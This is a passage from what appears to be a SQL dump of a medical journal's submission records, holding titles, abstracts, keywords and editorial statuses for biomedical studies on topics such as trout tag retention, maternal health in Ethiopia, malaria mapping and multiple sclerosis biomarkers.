Rainbow Trout Oncorhynchus mykiss (73 – 119 mm) implanted with 8, 9, and 10 mm Passive Integrated Transponder (PIT) tags and 173 Brown Trout Salmo trutta (71 – 86 mm) implanted 8 and 10 mm PIT tags were examined in a hatchery setting.  Retention rates were 95.9% for Rainbow Trout and 100% for Brown Trout over the study period. Only six Rainbow Trout ejected tags.  With the 8 mm tags, two ejections occurred in the first seven days, one occurred between days nine and 15, and one occurred between days 22 and 50.  One Rainbow Trout ejected a 9 mm between days 22 and 50, and another Rainbow Trout ejected a 10 mm tag in the first seven days.  There were no significant differences in weight or length of fish that ejected their tags.  Over the course of the study, survival was 100% for both species.  This study documents that Rainbow Trout can be successfully tagged at a minimum TL of 73 mm and Brown Trout at minimum TL of 71 mm with no adverse effects on tag retention or survival. ',' tagging\r\nfisheries management',1774,NULL,'2020-01-25',NULL,'Submitted',2,NULL,'2020-03-09',NULL,1,1,'1','I agree to publish this article in our journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3259,4284,86,0,'ipaom-20-3259','THE IMPACT OF BODY MORPHOLOGY ON ROTATION ON CHEST RADIOGRAPH: A SINGLE CENTRE STUDY',NULL,14,0,NULL,'Background: Chest radiograph shows the anatomical structures of the thorax and it is one of the most frequently performed radiographic examinations globally. With accurate patient’s positioning that is devoid of rotation and also putting patient’s body morphology into consideration, chest radiograph revealed significant information of most abnormalities associated with the thoracic region. This study is aimed at evaluating the impact of body morphology on rotation in PA radiographs. Materials and methods. A prospective study design was adopted in this study to evaluate the effects of body morphologies on rotation identified on chest radiographs and was conducted in single centre in Lagos State, Nigeria   from September 2018 to February 2019. Ethical approval for this study was obtained from the Institutional Research Review Board of the study centre. The procedure for the study were adequately explained to the subjects and their consents were properly sought. All standard protocols and techniques were adopted to obtain the PA chest radiographs by qualified Radiographer. The obtained information were treated with high level of confidentiality. Variables such as age, sex, body mass index (BMI), body habitus and patterns of rotation were collected using data capture sheet. The obtained data were analyzed using Statistical Package for Social Sciences (SPSS) version 22. Both descriptive statistics (mean, standard deviation, pie chart and bar chart) and inferential (Chi-square) statistics were used for statistical analysis with p-value < 0.05 set for level statistical significance. Results:  Out of 200 participants, those with normal weight were highest 60 (30%). BMI showed statistically significant relationships with right and left rotations at (p <0.05). Sthenic body habitus was highest 100 (50%). Body habitus showed statistically significant relationships with right and left rotations at (p <0.05).Of the total participants, males were 48.5% (n=97), while females were 103(51.5%). There was statistically significant relationship between gender and rotation at (X2 = 69.688, df =1 and p = 0.000).Out of 98 cases of rotations identified in this study, 54.1 % (n= 53) were found to the right when compared to rotation to the left, which is 45(45.9%). Chi-square (X2) test showed that there was statistically significance with these patterns of rotation at (X2 = 156.989, df =1 and p = 0.000).Conclusion: Body morphology affect rotation on chest radiographs. Based on this study, we concluded that increment in BMI and body habitus are associated with increment in rotation on chest radiographs. Rotation on chest radiographs is more frequent in females. BMI, body habitus and gender should be considered when assessing a radiograph with rotation.','Body mass index, Body habitus, Chest radiograph, rotation',409,NULL,'2020-01-25',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3261,4286,251,0,'ipacm-20-3261','The comparison detection of cytokines (IL-6 and IL-12) from spleen cells and serums in Balb/c mice after immunization with killed P. multocida vaccines co-formulated with bacterial DNAs as adjuvant',NULL,14,0,NULL,'Purpose: Pasteurella multocida has been correlated with commensal pathogens in the respiratory tract of birds and mammals. The purpose of the present study was to verify the cellular immune responses in Balb/c mice inoculated with the iron inactivated vaccine adjuvanted with bDNAby the detection of cytokines from spleen cells and serum.\r\nMethods: Mice were experimentally immunized with P. multocida killed antigens to study the splenocyte suspension and serum cytokines proliferation at different groups of post-immunization. We used P. multocida A (AbDNA), P. multocidaB (BbDNA), S. typhimurium (SbDNA) bacterial DNAs and alum as adjuvants. Interleukin-6 (IL-6) and IL-12 titer were tested by ELISA.\r\nResults: Mice immunized with vaccine formulations containing bDNAs as adjuvant produced a higher level of interleukins than alum and control groups. The serum level of pro-inflammatory cytokines (IL-6 and IL-12) was significantly higher (p<0.01) in vaccinated animals compared to control groups. A peak of IL-6 (59.8 pg/ml) and IL-12 (26.4 pg/ml) was recorded in invitro stimulated splenocytes in the IIA+SbDNA group.\r\nConclusion: These findings designated that killed P. multocida antigens formulated with bacterial DNAs as an adjuvant are possible vaccine candidates against P. multocida infections. The effect of the bacterial DNAs on the cellular immune response can be exploited in the development of new vaccines.\r\n',' ',777,NULL,'2020-01-25',NULL,'Submitted',2,NULL,'2020-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3266,4292,73,0,'ipjnn-20-3266','Osmotic demyelination syndrome in unusual settings',NULL,14,0,NULL,'ABSTRACT: Objective: To highlight the occurrence of osmotic demyelination syndrome (ODS) in settings other than the classical ODS induced by rapid correction of hyponatremic states. The background, clinico- radiological features, treatment and outcome of eight ODS patients are discussed here.\r\nMaterials and Methods: We encountered eight patients with ODS in uncommon clinical settings at the department of neurology, Government Stanley medical college hospital, Chennai between April 2017 to October 2017. Patients were evaluated, investigated, treated and outcome was assessed.\r\nResults: Eight patients in the age group 22 to 60 years had ODS. The clinical presentations were diverse. Akinetic mutism was the commonest presenting feature of ODS. Four out of eight patients had hyperglycemia out of which three had diabetic ketoacidosis (DKA) and one was in hyperglycemic hyperosmolar state (HHS). Two patients with chronic kidney disease (CKD) developed myelinolysis following hemodialysis. One patient each in post liver transplant state and following alcohol binge were diagnosed with ODS. Serum sodium levels were in normal range and there was no undue fluctuation in all. Four had central pontine myelinolysis (CPM), three had Extrapontine myelinolysis (EPM) and one had both in Magnetic Resonance Imaging (MRI) of Brain. Background illnesses were addressed. Five patients were independent with mRS of 1 and one patient had mRS of 2  at the end of 3 months and two CKD patients succumbed due to disease per se.\r\nConclusion: ODS commonly occurs in the setting of rapid correction of hyponatremia especially in chronic alcoholics and debilitated individuals. We have described myelinolysis  in diabetic ketoacidosis , hyperglycemic hyperosmolar state , Renal failure following dialysis, post liver transplant and alcohol binge drinking where there were no undue fluctuation in sodium levels. The prognosis is variable and also depends on presence of secondary complications like deep venous thrombosis, sepsis and aspiration pneumonitis.\r\n',' osmotic demyelination syndrome, hyperglycemia, central pontine myelinolysis',326,NULL,'2020-01-26',NULL,'Submitted',4,NULL,'2020-06-04',NULL,1,1,'0',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(3274,4302,971,0,'ipaclr-20-3274','SPIRAL ARTERIAL MORPHOLOGY IN RELATION TO HYPERTENSION IN PREGNANCY and BIRTH WEIGHT BY PLACENTAL BED BIOPSY A RETROSPECTIVE ANALYSIS',NULL,14,0,NULL,'Background- Physiological changes in spiral arteries i.e.remodelling occur upto myometrial segment of the vessels and these changes are important for growth of the fetus. However in hypertensive pregnancies and IUGR, these changes are often not seen and arteries remain non-dilated. The aims of the study were to assess the extent of spiral vessel dialation in hypertensive pregnancies and IUGR cases.\r\nMethods & findings- Placental bed biopsy were taken in cases who underwent caesarean section and gave consent for the study, during the study period. 50 cases were included. Morphology and diameters of spiral arteries were assessed by histopathological examination. Arteries who retained the non-preganant morphology were considered non-dilated and those who showed features of remodeling were considered normal. 14 cases were excluded as no vessel was seen in biopsy specimen. T-test and Chi-square tests were used for analysis. Out of the included 36 cases, percentage of non-dilated vessels was significantly high in gestational hypertension and preeclampsia(p=0.0230) and also significantly high in IUGR cases, (p=0.0113),irrespective of hypertension. Also the percentage of non-dilated vessels was higher in nulliparous women, though not significant.\r\nPlacental bed biopsy specimens have limitations because they only provide information about a small segment of the placental bed. It is possible that areas close to the nonbiopsy site may have a completely different degree of vascular transformation. Moreover the number of cases in this study is less.\r\n\r\nConclusion- Absence of spiral arterial remodeling is a crucial factor in hypertension in pregnancy and low birth weight babies. And adequate research is needed in this aspect so that such knowledge can help us to prevent hypertension in pregnancy and IUGR.','PLACENTAL BED BIOPSY ,RETROSPECTIVE ANALYSIS,HYPERTENSION IN PREGNANCY',3236,NULL,'2020-01-28',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3282,4313,45,0,'iphsj-20-3282','Chikungunya Neurological Manifestations: Systematic Review',NULL,14,0,NULL,'Although the most common Chikungunya manifestations are osteoarticular, those which bring the most morbidity and mortality are neurological, where thorough mapping through studies with a methodological outline have not yet been well structured. Therefore, the objective was to a systematic review of the literature following the guiding question: what are the neurological manifestations caused by CHIKV? We used the Virtual Health Library (VHL) and PubMed with the following descriptors: #1 \"Chikungunya\" [MeSH]; #2 \"neurological manifestations\" [MeSH] and their equivalents in the Portuguese language, during the period from July 2007 to January 2018 was performed. From the 180 studies that were found, 30 were selected. Findings were divided into two subcategories: \"Chikungunya: Typical Neurological Manifestations\" and \"Chikungunya: Severe Neurological Manifestations\". The studies show that headaches were characterized as the most common symptom in adult patients affected by CHIKV, followed by meningeal involvement. Concerning, meningeal involvement is also a more serious clinical scenario associated with encephalitis, convulsions, polyneuropathies such as Guillain-Barré syndrome and death. CHIKV is a public health problem in Brazil due to its chronic potential and complications. Given the neurological symptoms, this disease is concerning in age extremes, patients with comorbidities and patients with more than one viral infection by arboviruses, in whom the most severe neurological manifestations are more common.','Arboviroses; Brazil; Chikungunya; Clinical Practice; Neurology; systematic review',643,NULL,'2020-01-29',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3293,4330,45,0,'iphsj-20-3293','Determinant factors of Unplanned Pregnancy among Pregnant Women attending Antenatal Care unit in West Gojjam Zone hospitals, Ethiopia',NULL,14,0,NULL,'Introduction: Unplanned pregnancy is a public health problem which affect maternal and child health, including maternal death, abortion, and low birth weight. This study aimed to determine the determinant factors of unplanned pregnancy among pregnant women who attending antenatal care unit in five different hospitals from West Gojjam zone.\r\nMethods: Hospital based cross-sectional study was conducted in west Gojjam zone from 23 February, 2018 up to 23 July, 2018.  A total of 226 pregnant women were included in the study. The study participants were selected by systematic sampling. Data were collected with a combination of interview and chart review. Data entry and analysis was done using Epi-data version 3.1 and SPSS version 23. Both binary and multivariate logistic regression analysis were used to identify factors associated with unplanned pregnancy. Variables with p-value < 0.05 were   identified as statistically significant factors.\r\nResult: The multivariate analysis revealed that women whose age ≤ 30 years [AOR = 5.42, 95 % CI = 2.38 - 12.34], women who live in rural [AOR=1.11, 95% CI=0.03  - 0.39], illiterate women [AOR=2.3,95%CI=0.02─0.09], women who drinks alcohol [AOR=1.45,95% CI=0.31 - 0.67], smoking women [AOR= 1.52, 95% CI 0.49 - 0.65 ] , chawing women’s [AOR=1.66, 95% CI=1.66 1.18 - 2.33)] and women  who did not use contraceptive methods [AOR=0.27, 95% CI=0.14 - 1.87] were found to be associated with unplanned pregnancy.\r\n Conclusion: The prevalence of unplanned pregnancy in the study area was large. Age, residence, illiteracy, alcohol use, smoking, chat chawing were factors associated with high risk for unplanned pregnancies. Therefore, awareness should be created for younger and illiterate women to decrease the risk of unplanned pregnancy.  \r\n\r\n',' Unplanned pregnancy; Women; West Gojjam ; Multivariate',3202,NULL,'2020-01-31',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3301,4339,277,0,'ipadm-20-3301','Factores asociados a recaídas en Leucemia Linfoblástica Aguda tratados en niños del Hospital Escuela.',NULL,14,0,NULL,'Introducción. La leucemia linfoblástica aguda  (LLA) es el tipo de cáncer mas frecuente en la infancia donde hay producción no controlada de células inmaduras, esta constituye el 75% de todos los casos de leucemias en niños, siendo el cáncer más frecuente. Aunque la supervivencia de estos pacientes ha mejorado notablemente en los países desarrollados, la mortalidad  sigue siendo alta en los países de recursos limitados. Objetivo. Determinar los factores asociados a recaídas en pacientes con diagnóstico de leucemia linfoblástica aguda en Hospital Escuela de enero 2015 – Diciembre 2017. Metodología. Estudio de Casos y Controles, pacientes con Leucemia Linfoblástica Aguda con una recaída durante su tratamiento, muestreo no probabilístico por conveniencia. Protocolo aprobado por el Comité de Bioética/Instituto Hondureño de Seguro Social. Los datos recolectados se ingresaron en EPI-INFO. Se asocio la variable recaída con las características sociodemográficas, aspectos inherentes al diagnostico y al tratamiento , estado actual del paciente y caracterización de la recaída per se,  mediante prueba de asociación OR. Resultados. El 58.1% correspondió al sexo femenino, con una relación femenino/masculino de 1,4:1. El 20.2% de los pacientes tratados por Leucemia Linfoblástica Aguda sufrió  un episodio de recaída. El 32% de los pacientes en los que se usó protocolo AHOPCA 2008 sufrió una recaída en comparación con los controles. Los pacientes que sufrieron una punción lumbar traumática (Mas de 10 GR/mm3) al momento del diagnóstico tienen 2.53 veces mas riesgo de sufrir una recaída. Conclusiones. La estratificación de riesgo alto requiere tratamiento más intenso y conlleva mayor riesgo de recaída o fatalidad, así también el retraso de inicio de inducción por cualquier causa, la edad asociada a mayor riesgo de recaída abarco los rangos menores de 1 año y mayores de 6 años, la punción lumbar traumática aumenta el riesgo de recaída a sistema nervioso central. ','Honduras, leucemia linfoblástica, recurrencia, pediatría ',2805,NULL,'2020-02-02',NULL,'Submitted',2,NULL,'2020-05-02',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3322,4360,45,0,'iphsj-20-3322','Correlates of immediate neonatal complications related to instrumental assisted vaginal delivery at Leku primary hospital, Sidama Zone, Ethiopia',NULL,14,0,NULL,'Background:  An instrumental delivery is important to expedite the birth for maternal and fetal benefit in difficult situation. But, it could carry neonatal injuries and even death. \r\nObjective: The aim of this study was to assess the patterns and correlates of immediate neonatal complication related to instrumental delivery in Leku primary hospital. \r\nMethods: This retrospective study was employed done among 422 instrumental deliveries between January 2014 and January 2019. Study cases were selected using random sampling technique and pretested-structured questioner was used to extract the data. Epi data version 3.1 and SPSS version 22 were done for data entry and analysis respectively. An adjusted odds ratio with a 95% CI and p-value of <0.05 was used to declare the significant variables of outcome variable. \r\nResults: The overall rate of neonatal complication related to instrumental delivery was 24.9%. Birth asphyxia (32.9%) and non-reassuring fetal heart pattern (52.2%) were the most common neonatal complication related to instrumental delivery respectively. Amniotic fluid [AOR= 3.760, 95% CI 1.792-7.892], labor type  [AOR= 4.253, 95% CI 1.926-9.395],  second stage labor duration [AOR= 3.680, 95% CI 1.698-7.977], IVD type [AOR= 4.373, 95% CI 1.171-16.329], obstetric complication [AOR= 4.837, 95% CI 1.597-14.650]  and cases type [AOR= 4.854, 95% CI 2.075-11.354] were the determinants of dependent variable.\r\n Conclusion:  The rate of neonatal complication related to instrumental delivery was high.  The determinants were labor type, amniotic fluid status, labor duration, IVD type, obstetric complications and cases type.','Instrumental delivery, Patterns, Neonatal complication, Correlates',643,NULL,'2020-02-05',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3330,4373,45,0,'iphsj-20-3330',': FACTORS ASSOCIATED WITH NORMAL WEIGHT OBESITY: A SYSTEMATIC REVIEW',NULL,15,0,NULL,'New obesity phenotypes have been investigated, such as the normal weight obesity (NWO). The identification of NWO may uncover an unknown risk group, and acknowledging the associated factors is key for designing effective prevention and intervention strategies. Seeking to answer the question \"what factors are associated with NWO?\", this systematic review analyze behavioral, biologic and socioeconomic factors associated to NWO. The study was conducted according to the PRISMA guidelines, and literature search was performed through PubMed, Lilacs, Scielo and the Cochrane Library. From 165 papers initially identified, 12 original were included in analysis. All the 12 studies included had good scores in the quality assessment through STROBE. The main factor positively associated with NWO was physical inactivity. Lower educational level was also directly associated with the phenotype. Further studies are necessary to clarify these associations and to guide prevention and treatment strategies.','Metabolically obese. Metabolic Syndrome. Obesity. Adiposity.',2879,NULL,'2020-02-07',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3333,4376,45,0,'iphsj-20-3333','Geospatial Mapping of Parasitaemia in Falciparum Malaria Infected Patients in Ondo State, Nigeria',NULL,14,0,NULL,'Background: Malaria is a disease caused by Plasmodium parasites and transmitted by Anopheles mosquitoes, remains one of the most deadly diseases. In the clinical setting, the level of parasitaemia is useful as one of the criteria in defining “severe Plasmodium falciparum malaria” and to monitor the effect of anti-malarial therapy. Mapping is known a vital tool in control and elimination of malaria within a community. \r\nMaterials and Methods: Ten (10) hospitals were randomly selected from the government-owned hospitals in Ondo State and 415 blood samples were collected from malaria infected patients in these hospitals. Coordinates of the patients’ address were taken, geocoding, mapping and cartographic display were carried out. Participants were outpatient attending government hospital, thin and thick blood smear preparation and microscopy were carried out on the blood samples collected and percentage parasitaemia were determined. \r\nResults: Ondo North Senatorial District had the highest mean parasitaemia of 1.06% and whereas Ondo South had the least mean parasitaemia (0.89%). The risk map revealed that majority of patients in Ondo North and few in Ondo Central senatorial district had high malaria burden with high parasitaemia. \r\nConclusion: Based on the malaria map developed, this study could be used as guide in monitoring the efficacy of antimalarial therapy and provide information for malaria control intervention in Ondo State.','malaria, coordinates, parasitaemia, risk map',686,NULL,'2020-02-07',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3336,4356,971,0,'ipaclr-20-3336','Estimating partograph utilization and associated factors among health care professionals in Ethiopia: a systematic review and Meta – analysis',NULL,14,0,NULL,'Abstract\r\nBackground\r\npartograph is the prestigious obstetric tool used to monitor labour,  predict and follow the progress of labor, maternal and fetal conditions. It allows the health care professionals to increase the frequency of follow up and to prevent prolonged labour, uterine rupture, postpartum hemorrhage, puerperal sepsis, stillbirths, birth asphyxia, and neonatal sepsis. There are various studies on partograph utilization and associated factors in different regions of Ethiopia, they present inconsistent findings and no study was conducted which shows the national estimate of partograph utilization in Ethiopia. Thus, this review was conducted to estimate the national pooled prevalence of partograph utilization and associated factors in Ethiopia.\r\nMethods: Preferred Reporting Items for Systematic Reviews and Meta-Analyses (PRISMA) guideline was followed for this systematic review and meta-analysis. The databases used were; PUBMED, Cochrane Library, Google Scholar, EMBASE, African Journals Online Google scholar, maternity and infant care database and online repositories. A combination of search items:  “partograph utilization”, “knowledge and utilization of partograph”, “documentation of partograph”, “partograph and health professionals”, “intrapartum monitoring using partograph” and/or “Ethiopia” were used. Joanna Briggs Institute Meta-Analysis of Statistics Assessment and Review Instrument (JBI-MAStARI) was used for critical appraisal of studies. Descriptive information of studies was presented in narrative form and quantitative results were presented in forest plots. The Cochran Q test and I2 test statistics were used to test heterogeneity across studies. \r\nThe meta-analysis was conducted using STATA 11 software. The pooled Meta logistic regression was computed to present the pooled prevalence and relative risks (RRs) of the determinate factors with 95% confidence interval (CI).\r\nResult: A total of 15 studies were included in this meta-analysis with a sample size of 4,553. The national pooled prevalence of partograph utilization was 57.1 %. In subgroup analysis, the highest prevalence of partograph utilization was observed in Oromia (66.10% ) and the lowest in Tigray (50.66% ), increased utilization of partograph was observed after 2016 (62.75% ). Statistically, a significant association was observed between partograph utilization and midwifery profession female health care profession,   having short in-service Emergency Obstetric and Newborn Care training, Knowledge of partograph, short Training on partograph.	\r\nConclusion: The pooled prevalence of partograph utilization during labour was low. There was a statistically significant association was between partograph utilization and midwifery profession, female health care profession,   having short in-service Emergency Obstetric and Newborn Care training, Knowledge of partograph, short Training on partograph.	\r\nThe concerned body should intervene on the identified factors to increase the utilization of partograph during labour and delivery.','Keywords: partograph utilization, systematic review, meta-analysis, Ethiopia.',3249,NULL,'2020-02-07',NULL,'Submitted',4,NULL,'2020-07-27',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3339,4381,45,0,'iphsj-20-3339','Burden of care for children with epilepsy in a developing country',NULL,14,2,NULL,'Back ground: Epilepsy is a common childhood morbidities world-wide and often associated with significant sociocultural, economic and health implications especially in resource poor countries.  The aim of the study is to evaluate the burden of care that caregivers of children with epilepsy experience.\r\nMethod :The study was a cross sectional involving 112 caregivers of children living with epilepsy seen in the Paediatrics Neurology Unit of the University of Teaching Hospital between July 2018 to June 2019. Ethical approval for the study was obtained from the ethics committee of the University of Calabar Teaching Hospital.  Questionnaires were administered to consenting parents/ caregivers of children with epilepsy. Socio-demographic characteristics of the caregivers including social class and average monthly income were obtained. Given the lack of a disease-specific questionnaire to assess their burden, the Zarit caregiver burden inventory questionnaire was used to determine the burden of care. \r\nData obtained was entered into a Microsoft excel spread sheet and transferred into SPSS version 26 software for analysis. \r\nResults: Fifty four (48.2%) of caregivers experienced high burden (moderate and severe). Caregivers who are 40 years and above are shown to experience higher burden compared to their younger counterparts. Low social class, longer duration on antiepileptic drugs and the presence of comorbidities especially cerebral palsy was found to significantly affect the burden of care (p< 0.05).  No significant relationship was observed between caregiver’s average monthly income and the burden of care. \r\nConclusion: Caregivers of children with epilepsy in a developing country experience burden mainly from cost of managing epilepsy and comorbidities. Efforts should be made towards prevention of comorbidities and provision of subsidised drugs to reduce the burden of care experienced by caregivers.','EPILEPSY, BURDEN, CAREGIVER',689,NULL,'2020-02-07',NULL,'Submitted',19,NULL,'2020-11-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,4,0,NULL,0),(3369,3534,73,0,'ipjnn-20-3369','Neurofilament light chain and MRI volume parameters as markers of neurodegeneration in multiple sclerosis',NULL,14,0,NULL,'Background: Neurofilament light chain (NfL) is considered a major marker of neurodegeneration and disease activity. Higher levels of NfL are associated with worse clinical outcomes and increased brain atrophy. In treated patients with Relapsing-Remitting Multiple Sclerosis (RRMS), we aimed to determine the level of NfL, an association between NfL and demographic, clinical and magnetic resonance imaging (MRI) characteristics as well as brain volume parameters. We wanted to confirm that level of NfL is clinically useful as biomarker of neurodegeneration and disease activity.\r\nMethods: 56 treated RRMS patients were enrolled. Plasmatic levels of NfL (pNfL) were measured by SIMOA® technique. Clinical severity of MS was expressed by Expanded Disability Status Scale (EDSS), and volumetric analysis of MRI data was performed using Icobrain software.\r\nResults: The mean pNfL level was significantly higher in MS patients than in healthy controls (14.73 ± 6.38 versus 6.67 ± 3.9, p<0.001). In treated RRMS patients, we did not find association between pNfL and MRI activity, number of new T2 lesions, and number of enhancing lesions. Levels of pNfL correlated significantly with atrophy of whole-brain volume (Wbv)(p= 0.017), atrophy of grey matter volume (Gmv)(p= 0.020), and negatively with Wbv (p= 0.044). We found significantly positive correlation between pNfL levels and EDSS (p= 0.004). EDSS negatively correlated with Wbv and Gmv (p <0.001). A positive correlation of EDSS was found with volume of T1 lesions (p= 0.028). We did not find association between EDSS and MRI activity.\r\nConclusion: This study shows an association of pNfL with Wbv, presence of brain atrophy and EDSS, also a strong correlation of EDSS with multiple MRI volume parameters. In our study, we did not confirm association pNfL with disease activity. Our data suggest that pNfL and MRI volume parameters could be considered as biomarkers of neurodegeneration in MS.','Multiple Sclerosis; Neurofilament Light Chain; Neurodegeneration; Single-molecule Array (SIMOA®); Magnetic Resonance Imaging; MRI Volume Parameters; Icobrain; Biomarker.',337,NULL,'2020-02-10',NULL,'Submitted',4,NULL,'2020-05-25',NULL,1,1,'0',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(3371,4415,959,0,'ipacr-20-3371','Intramuscular metastasis of gallbladder carcinoma.',NULL,2,0,NULL,'Introduction: \r\nGallbladder cancer is a highly fatal malignancy. Even though it is a rare malignancy, it is the most common biliary tract malignancy in USA. Majority of the patients are asymptomatic and among symptomatic patients, the most common complains include pain, anorexia, nausea or vomiting. Patients with GBC may also present with obstructive jaundice, either from direct invasion of the biliary tree or from metastatic liver diseases. Gall bladder carcinoma mainly metastasize to liver, intra-abdominal LNs and biliary tract. Intramuscular and subcutaneous manifestations are very rare from gallbladder carcinoma. In this article we present a rare case of Intramuscular metastasis of gallbladder carcinoma in an African American lady with no other history of gallbladder disease. \r\nCase Narration: \r\n55 year old African American lady with history of poly-substance abuse disorder presented to Boston Medical Center with 2 months of progressive Right Upper Quadrant abdominal pain. She had CT scan showing 6.3 cm mass in gallbladder invading into the liver which on biopsy was consistent with adenocarcinoma of gallbladder. She presented again in the Emergency Department with a new 3x3 cm lump in her left arm and 5x5 cm lump in her left thigh. A CT Scan of the thigh mass showed an extensive lesion in her left thigh muscles again which on USG guided biopsy confirmed intramuscular metastasis with IHC positive for CK7, AE1:3 and CAM5.2 consistent with metastatic gallbladder adenocarcinoma. \r\nConclusion: \r\nAlthough rare, intramuscular lesions should raise suspicion of metastatic disease in the gall bladder carcinoma patients. In our case, patient reported two new rapidly growing lesions consistent with rapid progression of disease. Palliative radiation therapy should be considered in patients with severe pain associated with intramuscular metastasis. Intramuscular metastasis is usually associated with poorer prognosis.\r\n',' gallbladder carcinoma, Intramuscular metastasis, metastasis',2795,NULL,'2020-02-11',NULL,'Submitted',2,NULL,'2020-07-08',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3378,4415,959,0,'ipacr-20-3378','Intramuscular metastasis of gallbladder carcinoma',NULL,2,0,NULL,'Introduction: Gallbladder cancer is a highly fatal malignancy. Even though it is a rare malignancy, it is the most common biliary tract malignancy in USA. Majority of the patients are asymptomatic and among symptomatic patients, the most common complains include pain, anorexia, nausea or vomiting. Patients with GBC may also present with obstructive jaundice, either from direct invasion of the biliary tree or from metastatic liver diseases. Gall bladder carcinoma mainly metastasize to liver, intra-abdominal LNs and biliary tract. Intramuscular and subcutaneous manifestations are very rare from gallbladder carcinoma. In this article we present a rare case of Intramuscular metastasis of gallbladder carcinoma in an African American lady with no other history of gallbladder disease. Case Narration: 55 year old African American lady with history of poly-substance abuse disorder presented to Boston Medical Center with 2 months of progressive Right Upper Quadrant abdominal pain. She had CT scan showing 6.3 cm mass in gallbladder invading into the liver which on biopsy was consistent with adenocarcinoma of gallbladder. She presented again in the Emergency Department with a new 3x3 cm lump in her left arm and 5x5 cm lump in her left thigh. A CT Scan of the thigh mass showed an extensive lesion in her left thigh muscles again which on USG guided biopsy confirmed intramuscular metastasis with IHC positive for CK7, AE1:3 and CAM5.2 consistent with metastatic gallbladder adenocarcinoma. Conclusion: Although rare, intramuscular lesions should raise suspicion of metastatic disease in the gall bladder carcinoma patients. In our case, patient reported two new rapidly growing lesions consistent with rapid progression of disease. Palliative radiation therapy should be considered in patients with severe pain associated with intramuscular metastasis. Intramuscular metastasis is usually associated with poorer prognosis.','gallbladder carcinoma, Intramuscular metastasis, metastasis',3284,NULL,'2020-02-12',NULL,'Submitted',2,NULL,'2020-02-28',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3381,3889,277,0,'ipadm-20-3381','CONCEPCIONES DIAGNÓSTICAS Y MANEJO DE HIPERKALEMIA EN EL PACIENTE CON ENFERMEDAD RENAL CRÓNICA: REVISIÓN A PROPÓSITO DE UN CASO CLÍNICO.',NULL,2,0,NULL,'La hiperkalemia es la alteración hidroelectrolítica mas importante en la enfermedad renal crónica. Cuando los mecanismos de excreción de potasio se ven alterados por deterioro de la función renal, se crea un desbalance electrolítico capaz de ocasionar cambios en la conducción eléctrica de las células nerviosas, musculares y cardíacas. Esta condición trae consigo consecuencias potencialmente letales, que van desde arritmias graves hasta muerte súbita cardiaca. Comunicamos el caso de un paciente femenino con antecedente de Hipertensión Arterial y Diabetes Mellitus tipo II, con enfermedad renal crónica estadío 5 en terapia de reemplazo renal que presenta episodio de hiperkalemia en su periodo interdiálisis y datos electrocardiográficos acordes con esta condición, requiriendo la utilización de medidas hipokalemiantes y hemodiálisis para su resolución.','Potasio, hiperkalemia, electrocardiograma, enfermedad renal crónica.',2805,NULL,'2020-02-12',NULL,'Submitted',2,NULL,'2020-03-19',NULL,1,1,'0','publish manuscript',0,NULL,NULL,NULL,0,0,0,NULL,0),(3383,4429,251,0,'ipacm-20-3383','A GENERAL PERSPECTIVE OF MICROBIOTA IN HUMAN HEALTH AND DISEASE',NULL,15,0,NULL,'The study of human microbiome is widely perceived to be a young biomedical discipline. Recent studies indicate an association between human microbiome and chronic disease conditions such as diabetes and obesity. An understanding of human microbiome structure and function is important for design and delivery of microbial based therapies especially against immunological and metabolic chronic diseases. In this review, we demonstrate the role human microbiota in health and disease in various anatomic sites and in development of neonate immunity. In particular, the review focuses on the role of placental microbiota in fetoplacental unit receptivity and the effect of early microbiota exposure on neonate immunity development. Additionaly, microbiota impact on health and disease in the gut, lung and skin is explo','Microbiota, Neonate, Dysbiosis, Pregnancy, Lungs, Skin, Gastrointestinal tract',783,NULL,'2020-02-12',NULL,'Submitted',2,NULL,'2020-06-04',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3388,4435,45,0,'iphsj-20-3388','Knowledge, Attitude and Practice of Emergency Contraceptives among Female Summer Students in  University of Gondar: Maraki Campus, Gondar, North-west Ethiopia. A cross-sectional study',NULL,3,0,NULL,'Abstract\r\nBackground: Magnitude of unsafe abortion can be avoided by using different contraceptive methods including emergency contraceptives.\r\nObjective:  Assessment of  knowledge, attitude, and practice of emergency contraceptives among female students of Gondar university Maraki campus.\r\nMethods: Institutional based cross-sectional studies conducted on 276 female students of Gondar University, Maraki campus in September 2017. The study participant selected using a stratified random sampling technique. The data was collected using pretested self-administered questionnaires. The collected data cleared and checked for completeness and analyzed by using SPSS version 20. Frequency and Percent were used to describe the findings.\r\nResults: The majority of the participants 245(65.4%) had sexual partners in the past. Of the total participants, 84.3% have heard about an emergency contraceptive, 50.2 % of the participants heard from friends and relatives and among the participants, 68.9% had a positive attitude about Emergency contraceptive. Among the participants, 68.5% had unprotected sex and only 37.2% of those took emergency contraceptive after their sexual practice. Year of study, marital status, religion were associated with having the low practice of Emergency contraceptives in multivariate analysis.\r\nDiscussion – the study rebelled that significant change from the results of previous studies. Only 42.5% of the participants know when to take emergency contraceptive.  About 68.9% have a positive attitude about emergency contraceptive. Only 32.7% of female students have used emergency 